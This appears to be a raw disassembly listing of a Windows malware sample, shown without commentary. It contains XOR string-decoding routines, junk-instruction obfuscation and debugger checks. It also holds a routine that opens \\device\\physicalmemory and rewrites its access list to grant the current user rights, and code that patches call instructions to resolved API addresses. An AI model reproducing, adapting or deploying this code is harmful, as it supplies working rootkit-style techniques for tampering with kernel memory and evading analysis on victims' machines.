mov [ebp-10h], eax
loc_401B01: ; CODE XREF: sub_401A7E+7Bj
push dword ptr [ebp-10h] ; lpNumberOfBytesRead
push esi ; nNumberOfBytesToRead
push ebx ; lpBuffer
push edi ; hFile
call ReadFile ; ReadFile
mov eax, dword_43C292
mov [ebp+var_C], eax
push edi ; hObject
call CloseHandle ; CloseHandle
mov eax, ebx
loc_401B1C: ; CODE XREF: sub_401A7E+4Fj
pop edi
pop esi
pop ebx
leave
retn
sub_401A7E endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, [ebp+0Ch]
push esi
push dword ptr [ebp+8]
mov eax, dword_43C2A0
lea eax, ds:410820h[eax]
push eax
call memcpy ; memcpy
add esp, 0Ch
xor edi, edi
jmp short loc_401B5E
; ---------------------------------------------------------------------------
loc_401B47: ; CODE XREF: .text:00401B60j
mov eax, dword_43C2A0
add eax, edi
lea eax, ds:410820h[eax]
movsx edx, byte ptr [eax]
xor edx, 5Fh
mov [eax], dl
inc edi
loc_401B5E: ; CODE XREF: .text:00401B45j
cmp edi, esi
jl short loc_401B47
mov dword ptr [ebp-4], 0D0h
mov eax, dword_43C2A0
add eax, esi
mov byte ptr dword_410820[eax], 0
xor edi, edi
mov edi, dword_43C2A0
add dword_43C2A0, 3
mov eax, dword_43C2A0
inc eax
add eax, esi
mov dword_43C2A0, eax
inc dword_43C2A0
cmp dword_43C2A0, 0E06h
jle short loc_401BAD
and dword_43C2A0, 0
loc_401BAD: ; CODE XREF: .text:00401BA4j
lea eax, dword_410820[edi]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_401BB7(int, int, void *Dst)
sub_401BB7 proc near ; CODE XREF: sub_4054C8+690p
; sub_4098A8+FD2p
var_D = byte ptr -0Dh
var_5 = byte ptr -5
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
Dst = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov ax, word_43C2A4
mov [ebp+var_4], ax
mov [ebp+var_2], 74D3h
movzx eax, [ebp+var_2]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_2], ax
mov ebx, [ebp+arg_4]
jmp short loc_401C1E
; ---------------------------------------------------------------------------
loc_401BE3: ; CODE XREF: sub_401BB7+6Ej
mov eax, [ebp+arg_0]
cmp byte ptr [eax+ebx], 0Dh
jnz short loc_401C1D
call GetCurrentProcessId ; GetCurrentProcessId
mov eax, [ebp+arg_4]
mov edx, ebx
sub edx, eax
push edx ; Size
mov edx, [ebp+arg_0]
add edx, eax
push edx ; Src
push [ebp+Dst] ; Dst
call memcpy ; memcpy
add esp, 0Ch
mov eax, ebx
sub eax, [ebp+arg_4]
mov edx, [ebp+Dst]
mov byte ptr [edx+eax], 0
mov eax, ebx
add eax, 2
jmp short loc_401C9C
; ---------------------------------------------------------------------------
loc_401C1D: ; CODE XREF: sub_401BB7+33j
inc ebx
loc_401C1E: ; CODE XREF: sub_401BB7+2Aj
mov eax, [ebp+arg_0]
cmp byte ptr [eax+ebx], 0
jnz short loc_401BE3
cmp [ebp+arg_4], 0
jz short loc_401C5F
mov eax, [ebp+arg_0]
cmp byte ptr [eax+ebx], 0
jnz short loc_401C5F
mov eax, ebx
dec eax
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 0Ah
jnz short loc_401C5F
mov [ebp+var_5], 4
movzx eax, [ebp+var_5]
imul eax, 11ACh
mov [ebp+var_5], al
mov eax, [ebp+Dst]
mov byte ptr [eax], 0
mov eax, [ebp+arg_4]
inc eax
jmp short loc_401C9C
; ---------------------------------------------------------------------------
loc_401C5F: ; CODE XREF: sub_401BB7+74j
; sub_401BB7+7Dj ...
mov eax, [ebp+arg_0]
add eax, [ebp+arg_4]
push eax ; lpString
call lstrlenA ; lstrlenA
mov ebx, eax
or ebx, ebx
jz short loc_401C9A
mov [ebp+var_5], 2
add [ebp+var_5], 1
mov eax, [ebp+arg_0]
add eax, [ebp+arg_4]
push eax
push [ebp+Dst]
call sub_40C6D8
lea edi, [ebp+var_D]
lea esi, word_43C2A6
movsd
movsd
mov eax, [ebp+arg_4]
add eax, ebx
jmp short loc_401C9C
; ---------------------------------------------------------------------------
loc_401C9A: ; CODE XREF: sub_401BB7+B8j
xor eax, eax
loc_401C9C: ; CODE XREF: sub_401BB7+64j
; sub_401BB7+A6j ...
pop edi
pop esi
pop ebx
leave
retn
sub_401BB7 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, [ebp+0Ch]
push esi
push dword ptr [ebp+8]
mov eax, dword_43C2B8
lea eax, ds:437350h[eax]
push eax
call memcpy ; memcpy
add esp, 0Ch
mov dword ptr [ebp-4], 319h
xor edi, edi
jmp short loc_401CE8
; ---------------------------------------------------------------------------
loc_401CCE: ; CODE XREF: .text:00401CEAj
mov eax, dword_43C2B8
add eax, edi
lea eax, ds:437350h[eax]
movsx edx, byte ptr [eax]
xor edx, 0F1h
mov [eax], dl
inc edi
loc_401CE8: ; CODE XREF: .text:00401CCCj
cmp edi, esi
jl short loc_401CCE
mov eax, dword_43C2B8
add eax, esi
mov byte ptr dword_437350[eax], 0
mov edi, dword_43C2B8
mov eax, edi
add eax, 4
add eax, esi
mov dword_43C2B8, eax
add dword_43C2B8, 2
cmp dword_43C2B8, 0DB0h
jle short loc_401D27
and dword_43C2B8, 0
loc_401D27: ; CODE XREF: .text:00401D1Ej
lea eax, dword_437350[edi]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401D31 proc near ; CODE XREF: sub_402843+93p
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = word ptr -12h
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
push edi
mov [ebp+var_4], 15C6h
add [ebp+var_4], 325Fh
inc dword_43C230
mov ax, word_43C2BC
mov [ebp+var_A], ax
mov ebx, [ebp+arg_0]
and dword_40E07C, 0
and dword_41E8B8, 0
and dword_41E9D0, 0
and dword_40F1D0, 0
mov dword_41B7A4, 4
mov dword_41507C, 4
loc_401D8B: ; CODE XREF: sub_401D31+122j
; sub_401D31+14Fj ...
mov eax, ebx
inc ebx
mov al, [eax]
mov byte_415078, al
movzx eax, byte_415078
or eax, eax
jl loc_402002
cmp eax, 0FFh
jg loc_402002
jmp off_43C2CC[eax*4]
; ---------------------------------------------------------------------------
call GetCurrentThreadId ; GetCurrentThreadId
loc_401DBB: ; CODE XREF: sub_401D31+7Ej
; sub_401D31+291j
; DATA XREF: ...
or byte ptr dword_41E8B8, 40h
jmp loc_402002
; ---------------------------------------------------------------------------
inc dword_43C230
loc_401DCD: ; CODE XREF: sub_401D31+7Ej
; sub_401D31+291j
; DATA XREF: ...
xor eax, eax
cmp byte ptr [ebx], 20h
setnz al
dec eax
and eax, 4
inc eax
mov [ebp+var_1C], eax
add dword_41E9D0, eax
jmp loc_402002
; ---------------------------------------------------------------------------
loc_401DE8: ; CODE XREF: sub_401D31+7Ej
; sub_401D31+291j
; DATA XREF: ...
or byte ptr dword_41E8B8, 40h
test byte ptr [ebx], 38h
jnz loc_402002
loc_401DF8: ; CODE XREF: sub_401D31+7Ej
; DATA XREF: .text:0043C2DCo ...
test byte_415078, 1
jz short loc_401E11
mov eax, dword_41B7A4
add dword_41E9D0, eax
jmp loc_402002
; ---------------------------------------------------------------------------
loc_401E11: ; CODE XREF: sub_401D31+CEj
inc dword_41E9D0
jmp loc_402002
; ---------------------------------------------------------------------------
loc_401E1C: ; CODE XREF: sub_401D31+7Ej
; sub_401D31+291j
; DATA XREF: ...
inc dword_41E9D0
jmp loc_402002
; ---------------------------------------------------------------------------
inc dword_43C230
loc_401E2D: ; CODE XREF: sub_401D31+7Ej
; DATA XREF: .text:0043C364o ...
test byte ptr dword_41E8B8, 10h
jz short loc_401E3D
xor eax, eax
jmp loc_402195
; ---------------------------------------------------------------------------
loc_401E3D: ; CODE XREF: sub_401D31+103j
call GetProcessHeap ; GetProcessHeap
or byte ptr dword_41E8B8, 10h
mov al, byte_415078
mov byte_40F1DC, al
jmp loc_401D8B
; ---------------------------------------------------------------------------
loc_401E58: ; CODE XREF: sub_401D31+7Ej
; sub_401D31+291j
; DATA XREF: ...
test byte ptr dword_41E8B8, 4
jz short loc_401E68
xor eax, eax
jmp loc_402195
; ---------------------------------------------------------------------------
loc_401E68: ; CODE XREF: sub_401D31+12Ej
lea edi, [ebp+var_18]
lea esi, word_43C2BE
mov ecx, 3
rep movsw
or byte ptr dword_41E8B8, 4
jmp loc_401D8B
; ---------------------------------------------------------------------------
loc_401E85: ; CODE XREF: sub_401D31+7Ej
; sub_401D31+291j
; DATA XREF: ...
test byte ptr dword_41E8B8, 8
jz short loc_401E95
xor eax, eax
jmp loc_402195
; ---------------------------------------------------------------------------
loc_401E95: ; CODE XREF: sub_401D31+15Bj
call GetVersion ; GetVersion
or byte ptr dword_41E8B8, 8
mov al, byte_415078
mov byte_41FB00, al
jmp loc_401D8B
; ---------------------------------------------------------------------------
loc_401EB0: ; CODE XREF: sub_401D31+7Ej
; DATA XREF: .text:0043C464o
test byte ptr dword_41E8B8, 1
jz short loc_401EC0
xor eax, eax
jmp loc_402195
; ---------------------------------------------------------------------------
loc_401EC0: ; CODE XREF: sub_401D31+186j
or byte ptr dword_41E8B8, 1
mov dword_41B7A4, 2
jmp loc_401D8B
; ---------------------------------------------------------------------------
loc_401ED6: ; CODE XREF: sub_401D31+7Ej
; DATA XREF: .text:0043C468o
test byte ptr dword_41E8B8, 2
jz short loc_401EE6
xor eax, eax
jmp loc_402195
; ---------------------------------------------------------------------------
loc_401EE6: ; CODE XREF: sub_401D31+1ACj
mov [ebp+var_12], 2BC6h
sub [ebp+var_12], 1A0Bh
or byte ptr dword_41E8B8, 2
mov dword_41507C, 2
jmp loc_401D8B
; ---------------------------------------------------------------------------
inc dword_43C230
loc_401F0E: ; CODE XREF: sub_401D31+7Ej
; sub_401D31+291j
; DATA XREF: ...
inc dword_41E9D0
or byte ptr dword_41E8B8, 40h
jmp loc_402002
; ---------------------------------------------------------------------------
loc_401F20: ; CODE XREF: sub_401D31+7Ej
; sub_401D31+291j
; DATA XREF: ...
mov eax, dword_41B7A4
add dword_41E9D0, eax
or byte ptr dword_41E8B8, 40h
jmp loc_402002
; ---------------------------------------------------------------------------
loc_401F37: ; CODE XREF: sub_401D31+7Ej
; sub_401D31+291j
; DATA XREF: ...
mov eax, dword_41B7A4
add eax, 2
add dword_41E9D0, eax
jmp loc_402002
; ---------------------------------------------------------------------------
loc_401F4A: ; CODE XREF: sub_401D31+7Ej
; sub_401D31+291j
; DATA XREF: ...
mov eax, dword_41507C
add dword_40F1D0, eax
jmp loc_402002
; ---------------------------------------------------------------------------
loc_401F5A: ; CODE XREF: sub_401D31+7Ej
; sub_401D31+291j
; DATA XREF: ...
mov eax, dword_41B7A4
add dword_41E9D0, eax
jmp loc_402002
; ---------------------------------------------------------------------------
inc dword_43C230
loc_401F70: ; CODE XREF: sub_401D31+7Ej
; sub_401D31+291j
; DATA XREF: ...
add dword_41E9D0, 2
jmp loc_402002
; ---------------------------------------------------------------------------
loc_401F7C: ; CODE XREF: sub_401D31+7Ej
; sub_401D31+291j
; DATA XREF: ...
add dword_41E9D0, 3
jmp short loc_402002
; ---------------------------------------------------------------------------
loc_401F85: ; CODE XREF: sub_401D31+7Ej
; sub_401D31+291j
; DATA XREF: ...
xor eax, eax
jmp loc_402195
; ---------------------------------------------------------------------------
loc_401F8C: ; CODE XREF: sub_401D31+7Ej
; DATA XREF: .text:0043C308o
or byte ptr dword_41E8B8, 20h
mov eax, ebx
inc ebx
mov al, [eax]
mov byte_42FB10, al
movzx eax, byte_42FB10
or eax, eax
jl short loc_401FFB
cmp eax, 0Bh
jg short loc_401FB4
jmp off_43C6CC[eax*4]
; ---------------------------------------------------------------------------
loc_401FB4: ; CODE XREF: sub_401D31+27Aj
cmp eax, 80h
jl short loc_401FFB
cmp eax, 0CFh
jg short loc_401FFB
jmp off_43C4FC[eax*4]
; ---------------------------------------------------------------------------
call GetCurrentProcessId ; GetCurrentProcessId
loc_401FCE: ; CODE XREF: sub_401D31+7Ej
; sub_401D31+27Cj ...
or byte ptr dword_41E8B8, 40h
jmp short loc_402002
; ---------------------------------------------------------------------------
inc dword_43C230
jmp short loc_402002
; ---------------------------------------------------------------------------
loc_401FDF: ; CODE XREF: sub_401D31+7Ej
; sub_401D31+27Cj ...
mov eax, dword_41B7A4
add dword_41E9D0, eax
jmp short loc_402002
; ---------------------------------------------------------------------------
loc_401FEC: ; CODE XREF: sub_401D31+7Ej
; sub_401D31+27Cj ...
inc dword_41E9D0
or byte ptr dword_41E8B8, 40h
jmp short loc_402002
; ---------------------------------------------------------------------------
loc_401FFB: ; CODE XREF: sub_401D31+7Ej
; sub_401D31+275j ...
xor eax, eax
jmp loc_402195
; ---------------------------------------------------------------------------
loc_402002: ; CODE XREF: sub_401D31+6Dj
; sub_401D31+78j ...
inc dword_43C230
test byte ptr dword_41E8B8, 40h
jz loc_40210E
lea edi, [ebp+var_1C+2]
lea esi, dword_43C2C4
mov ecx, 3
rep movsw
mov eax, ebx
inc ebx
mov al, [eax]
mov byte_430C2C, al
mov [ebp+var_12], 46D1h
sub [ebp+var_12], 49BDh
movzx eax, byte_430C2C
and eax, 0C0h
mov [ebp+var_13], al
movzx eax, byte_430C2C
and eax, 7
mov [ebp+var_14], al
movzx eax, [ebp+var_13]
cmp eax, 0C0h
jz loc_40210E
call GetProcessHeap ; GetProcessHeap
cmp [ebp+var_13], 40h
jnz short loc_402078
inc dword_40F1D0
loc_402078: ; CODE XREF: sub_401D31+33Fj
mov byte ptr [ebp+var_1C+1], 69h
add byte ptr [ebp+var_1C+1], 1
movzx eax, [ebp+var_13]
cmp eax, 80h
jnz short loc_402096
mov eax, dword_41507C
add dword_40F1D0, eax
loc_402096: ; CODE XREF: sub_401D31+358j
call GetCurrentProcessId ; GetCurrentProcessId
cmp dword_41507C, 2
jnz short loc_4020C1
mov byte ptr [ebp+var_1C], 71h
add byte ptr [ebp+var_1C], 25h
cmp [ebp+var_13], 0
jnz short loc_40210E
cmp [ebp+var_14], 6
jnz short loc_40210E
add dword_40F1D0, 2
jmp short loc_40210E
; ---------------------------------------------------------------------------
loc_4020C1: ; CODE XREF: sub_401D31+371j
mov [ebp+var_1E], 61CBh
sub [ebp+var_1E], 7700h
cmp [ebp+var_14], 4
jnz short loc_4020FB
call GetCurrentProcessId ; GetCurrentProcessId
or byte ptr dword_41E8B8, 80h
call GetCurrentThreadId ; GetCurrentThreadId
mov eax, ebx
inc ebx
mov al, [eax]
mov byte_41B7A0, al
movzx eax, byte_41B7A0
and eax, 7
mov [ebp+var_14], al
loc_4020FB: ; CODE XREF: sub_401D31+3A0j
cmp [ebp+var_14], 5
jnz short loc_40210E
cmp [ebp+var_13], 0
jnz short loc_40210E
add dword_40F1D0, 4
loc_40210E: ; CODE XREF: sub_401D31+2DEj
; sub_401D31+330j ...
and dword_40F1D4, 0
jmp short loc_40212F
; ---------------------------------------------------------------------------
loc_402117: ; CODE XREF: sub_401D31+409j
mov eax, ebx
inc ebx
mov edx, dword_40F1D4
mov al, [eax]
mov byte_415070[edx], al
inc dword_40F1D4
loc_40212F: ; CODE XREF: sub_401D31+3E4j
mov eax, dword_40F1D0
cmp dword_40F1D4, eax
jb short loc_402117
mov [ebp+var_6], 1644h
sub [ebp+var_6], 0C83h
and dword_40F1D4, 0
jmp short loc_402169
; ---------------------------------------------------------------------------
loc_402151: ; CODE XREF: sub_401D31+443j
mov eax, ebx
inc ebx
mov edx, dword_40F1D4
mov al, [eax]
mov byte_43A560[edx], al
inc dword_40F1D4
loc_402169: ; CODE XREF: sub_401D31+41Ej
mov eax, dword_41E9D0
cmp dword_40F1D4, eax
jb short loc_402151
mov [ebp+var_8], 2887h
add [ebp+var_8], 1636h
inc dword_43C230
mov eax, ebx
sub eax, [ebp+arg_0]
mov dword_40E07C, eax
xor eax, eax
inc eax
loc_402195: ; CODE XREF: sub_401D31+107j
; sub_401D31+132j ...
pop edi
pop esi
pop ebx
leave
retn
sub_401D31 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov esi, [ebp+0Ch]
mov dword ptr [ebp-4], 1EAh
push esi
push dword ptr [ebp+8]
mov eax, dword_43CF34
lea eax, ds:4186C0h[eax]
push eax
call memcpy ; memcpy
add esp, 0Ch
xor edi, edi
jmp short loc_4021E2
; ---------------------------------------------------------------------------
loc_4021C8: ; CODE XREF: .text:004021E4j
mov eax, dword_43CF34
add eax, edi
lea eax, ds:4186C0h[eax]
movsx edx, byte ptr [eax]
xor edx, 0D3h
mov [eax], dl
inc edi
loc_4021E2: ; CODE XREF: .text:004021C6j
cmp edi, esi
jl short loc_4021C8
mov dword ptr [ebp-8], 278h
mov eax, dword_43CF34
add eax, esi
mov byte ptr dword_4186C0[eax], 0
mov edi, dword_43CF34
mov eax, edi
add eax, 6
add eax, esi
mov dword_43CF34, eax
cmp eax, 0DCEh
jle short loc_40221C
and dword_43CF34, 0
loc_40221C: ; CODE XREF: .text:00402213j
lea eax, dword_4186C0[edi]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402226 proc near ; CODE XREF: sub_402A48+15p
var_4 = word ptr -4
var_1 = byte ptr -1
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov [ebp+var_1], 0C6h
sub [ebp+var_1], 4Eh
push offset ModuleName ; "ntdll.dll"
call GetModuleHandleA ; GetModuleHandleA
mov edi, eax
mov esi, 3E55h
add esi, 765Dh
push offset ProcName ; "RtlInitUnicodeString"
push edi ; hModule
call GetProcAddress ; GetProcAddress
mov dword_430C24, eax
call GetTickCount ; GetTickCount
push offset aNtunmapviewofs ; "NtUnmapViewOfSection"
push edi ; hModule
call GetProcAddress ; GetProcAddress
mov dword_41D8A0, eax
push offset aNtopensection ; "NtOpenSection"
push edi ; hModule
call GetProcAddress ; GetProcAddress
mov dword_41B7AC, eax
mov esi, 3B63h
sub esi, 2C1Bh
push offset aNtmapviewofsec ; "NtMapViewOfSection"
push edi ; hModule
call GetProcAddress ; GetProcAddress
mov dword_41E8C8, eax
push offset aRtlntstatustod ; "RtlNtStatusToDosError"
push edi ; hModule
call GetProcAddress ; GetProcAddress
mov dword_430C20, eax
mov [ebp+var_4], 23Ah
sub [ebp+var_4], 4D70h
pop edi
pop esi
leave
retn
sub_402226 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4022BB proc near ; CODE XREF: sub_402A48+172p
ppSecurityDescriptor= dword ptr -78h
var_72 = dword ptr -72h
var_6E = byte ptr -6Eh
var_6D = dword ptr -6Dh
var_69 = byte ptr -69h
pDacl = dword ptr -68h
OldAcl = dword ptr -64h
var_60 = byte ptr -60h
var_56 = word ptr -56h
var_53 = byte ptr -53h
var_52 = word ptr -52h
pListOfExplicitEntries= _EXPLICIT_ACCESS_A ptr -50h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
hObject = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 78h
push ebx
push esi
push edi
call GetProcessHeap ; GetProcessHeap
push offset aDevicePhysical ; "\\device\\physicalmemory"
lea eax, [ebp+var_60]
push eax
call dword_430C24
call GetProcessHeap ; GetProcessHeap
mov [ebp+var_18], 18h
mov ebx, 752Bh
inc ebx
and [ebp+var_14], 0
mov [ebp+var_53], 2Bh
add [ebp+var_53], 1
lea eax, [ebp+var_60]
mov [ebp+var_10], eax
call GetProcessHeap ; GetProcessHeap
mov [ebp+var_C], 40h
mov [ebp+var_56], 683Eh
inc [ebp+var_56]
and [ebp+var_8], 0
lea edi, [ebp+var_69]
lea esi, byte_43CFE6
xor ecx, ecx
inc ecx
rep movsb
and [ebp+var_4], 0
call GetVersion ; GetVersion
and [ebp+var_30], 0
mov eax, dword_43CFE7
mov [ebp+var_6D], eax
and [ebp+var_2C], 0
mov [ebp+var_28], 1
mov [ebp+var_24], 1
call GetProcessHeap ; GetProcessHeap
lea eax, aCurrent_user ; "CURRENT_USER"
mov [ebp+var_20], eax
lea edi, [ebp+var_6E]
lea esi, byte_43CFEB
xor ecx, ecx
inc ecx
rep movsb
mov [ebp+pListOfExplicitEntries.grfAccessPermissions], 2
mov eax, dword_43CFEC
mov [ebp+var_72], eax
mov [ebp+pListOfExplicitEntries.grfAccessMode], 1
mov ebx, 206Fh
mov eax, ebx
add eax, ebx
mov ebx, eax
and [ebp+pListOfExplicitEntries.grfInheritance], 0
lea edi, [ebp+pListOfExplicitEntries.Trustee]
lea esi, [ebp+var_30]
mov ecx, 5
rep movsd
mov [ebp+var_52], 7B38h
movzx eax, [ebp+var_52]
mov edx, eax
add edx, eax
loc_4023A7: ; DATA XREF: sub_4403F5+2Fo
mov eax, edx
mov [ebp+var_52], ax
lea eax, [ebp+var_18]
push eax
push 60000h
lea eax, [ebp+hObject]
push eax
call dword_41B7AC ; ZwOpenSection
call IsDebuggerPresent ; IsDebuggerPresent
lea eax, [ebp+ppSecurityDescriptor]
push eax ; ppSecurityDescriptor
push 0 ; ppSacl
lea eax, [ebp+OldAcl]
push eax ; ppDacl
push 0 ; ppsidGroup
push 0 ; ppsidOwner
push 4 ; SecurityInfo
push 6 ; ObjectType
push [ebp+hObject] ; handle
call GetSecurityInfo ; GetSecurityInfo
call GetCurrentProcessId ; GetCurrentProcessId
lea eax, [ebp+pDacl]
push eax ; NewAcl
push [ebp+OldAcl] ; OldAcl
lea eax, [ebp+pListOfExplicitEntries]
push eax ; pListOfExplicitEntries
mov eax, 0Bh
sub eax, dword_43CF30
push eax ; cCountOfExplicitEntries
call SetEntriesInAclA ; SetEntriesInAclA
call GetTickCount ; GetTickCount
push 0 ; pSacl
push [ebp+pDacl] ; pDacl
push 0 ; psidGroup
push 0 ; psidOwner
push 4 ; SecurityInfo
push 6 ; ObjectType
push [ebp+hObject] ; handle
call SetSecurityInfo ; SetSecurityInfo
call GetCurrentProcessId ; GetCurrentProcessId
push [ebp+hObject] ; hObject
call CloseHandle ; CloseHandle
lea eax, [ebp+var_18]
push eax
push [ebp+pListOfExplicitEntries.grfAccessPermissions]
lea eax, [ebp+hObject]
push eax
call dword_41B7AC ; ZwOpenSection
call GetLastError
mov eax, [ebp+hObject]
pop edi
pop esi
pop ebx
leave
retn
sub_4022BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402445 proc near ; CODE XREF: sub_402A48+230p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
call GetCurrentThreadId ; GetCurrentThreadId
mov eax, [ebp+arg_4]
mov [ebp+var_10], eax
mov ecx, [ebp+arg_8]
mov [ebp+var_4], ecx
and [ebp+var_8], 0
mov [ebp+var_A], 3ABh
add [ebp+var_A], 6ED8h
xor edx, edx
mov [ebp+var_14], edx
mov [ebp+var_18], eax
mov [ebp+var_B], 23h
add [ebp+var_B], 1
push 4
push 0
push 1
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_18]
push eax
push [ebp+var_4]
push 0
lea eax, [ebp+var_8]
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
call dword_41E8C8 ; ZwMapViewOfSection
call GetLastError
mov eax, [ebp+var_8]
leave
retn
sub_402445 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4024A8 proc near ; CODE XREF: sub_402A48+31Ap
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ax, word_43CFF0
mov [ebp+var_2], ax
push [ebp+arg_0]
push 0FFFFFFFFh
call dword_41D8A0 ; ZwUnmapViewOfSection
leave
retn
sub_4024A8 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov esi, [ebp+0Ch]
push esi
push dword ptr [ebp+8]
mov eax, dword_43CFFC
lea eax, ds:412DE0h[eax]
push eax
call memcpy ; memcpy
add esp, 0Ch
xor edi, edi
jmp short loc_402501
; ---------------------------------------------------------------------------
loc_4024EA: ; CODE XREF: .text:00402503j
mov eax, dword_43CFFC
add eax, edi
lea eax, ds:412DE0h[eax]
movsx edx, byte ptr [eax]
xor edx, 75h
mov [eax], dl
inc edi
loc_402501: ; CODE XREF: .text:004024E8j
cmp edi, esi
jl short loc_4024EA
mov dword ptr [ebp-4], 2E3h
mov eax, dword_43CFFC
add eax, esi
mov byte ptr dword_412DE0[eax], 0
xor edi, edi
mov edi, dword_43CFFC
inc dword_43CFFC
mov eax, dword_43CFFC
add eax, 5
add eax, esi
mov dword_43CFFC, eax
add dword_43CFFC, 2
cmp dword_43CFFC, 0DF6h
jle short loc_402552
and dword_43CFFC, 0
loc_402552: ; CODE XREF: .text:00402549j
mov dword ptr [ebp-8], 1Ch
lea eax, dword_412DE0[edi]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402563 proc near ; CODE XREF: sub_402843+1F8p
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
lea edi, [ebp+var_7]
lea esi, dword_43D0FC
mov ecx, 7
rep movsb
xor ebx, ebx
loc_40257E: ; CODE XREF: sub_402563+2D5j
call IsDebuggerPresent ; IsDebuggerPresent
mov eax, [ebp+arg_0]
movzx edx, byte ptr [eax+ebx]
cmp edx, 0FFh
jnz short loc_4025C9
movzx edx, byte ptr [ebx+eax+1]
cmp edx, 0FFh
jnz short loc_4025C9
movzx edx, byte ptr [ebx+eax+2]
cmp edx, 0FFh
jnz short loc_4025C9
movzx edx, byte ptr [ebx+eax+3]
cmp edx, 0FFh
jnz short loc_4025C9
movzx eax, byte ptr [ebx+eax+4]
cmp eax, 0FFh
jz loc_40283E
loc_4025C9: ; CODE XREF: sub_402563+2Dj
; sub_402563+3Aj ...
mov eax, [ebp+arg_4]
mov edx, [ebp+arg_8]
lea eax, [eax+edx+5]
mov edx, [ebp+arg_0]
mov dl, [edx+ebx]
mov [eax+ebx], dl
mov [ebp+var_8], 0
loc_4025E0: ; CODE XREF: sub_402563+16Cj
mov eax, [ebp+arg_0]
movzx edx, [ebp+var_8]
imul edx, 0Ch
movzx edx, byte_43D090[edx]
movzx ecx, byte ptr [eax+ebx]
cmp ecx, edx
jnz loc_4026BA
mov ecx, ebx
dec ecx
movzx ecx, byte ptr [eax+ecx]
cmp ecx, edx
jnz loc_4026BA
mov ecx, ebx
sub ecx, 2
movzx ecx, byte ptr [eax+ecx]
cmp ecx, edx
jnz loc_4026BA
mov ecx, ebx
sub ecx, 3
movzx ecx, byte ptr [eax+ecx]
cmp ecx, edx
jnz loc_4026BA
mov edx, ebx
sub edx, 4
movzx eax, byte ptr [eax+edx]
cmp eax, 0E8h
jnz short loc_4026BA
call GetTickCount ; GetTickCount
movzx eax, [ebp+var_8]
imul eax, 0Ch
push lpModuleName[eax] ; lpModuleName
call GetModuleHandleA ; GetModuleHandleA
movzx edi, [ebp+var_8]
imul edi, 0Ch
push lpProcName[edi] ; lpProcName
push eax ; hModule
call GetProcAddress ; GetProcAddress
mov [ebp+var_C], eax
call IsDebuggerPresent ; IsDebuggerPresent
or eax, 0FFFFFFFFh
mov edx, [ebp+arg_4]
mov ecx, [ebp+arg_8]
lea edx, [edx+ecx+5]
add edx, ebx
sub edx, 4
sub eax, edx
add eax, [ebp+var_C]
sub eax, 4
mov [ebp+var_10], eax
call GetCurrentThreadId ; GetCurrentThreadId
mov eax, [ebp+arg_4]
mov edx, [ebp+arg_8]
lea eax, [eax+edx+5]
add eax, ebx
sub eax, 4
mov edx, [ebp+var_10]
mov ds:1[eax], edx
mov ax, word_43D103
mov [ebp+var_12], ax
jmp short loc_4026D4
; ---------------------------------------------------------------------------
loc_4026BA: ; CODE XREF: sub_402563+95j
; sub_402563+A4j ...
movzx eax, [ebp+var_8]
imul eax, 0Ch
cmp lpProcName[eax], 0
jz short loc_4026D4
add [ebp+var_8], 1
jmp loc_4025E0
; ---------------------------------------------------------------------------
loc_4026D4: ; CODE XREF: sub_402563+155j
; sub_402563+166j
mov eax, [ebp+arg_0]
cmp byte ptr [eax+ebx], 4
jnz short loc_402744
mov edx, ebx
dec edx
cmp byte ptr [eax+edx], 4
jnz short loc_402744
mov edx, ebx
sub edx, 2
cmp byte ptr [eax+edx], 4
jnz short loc_402744
mov edx, ebx
sub edx, 3
cmp byte ptr [eax+edx], 4
jnz short loc_402744
mov edx, ebx
sub edx, 4
movzx edx, byte ptr [eax+edx]
cmp dl, 68h
jz short loc_40271D
cmp edx, 0BEh
jz short loc_40271D
mov edx, ebx
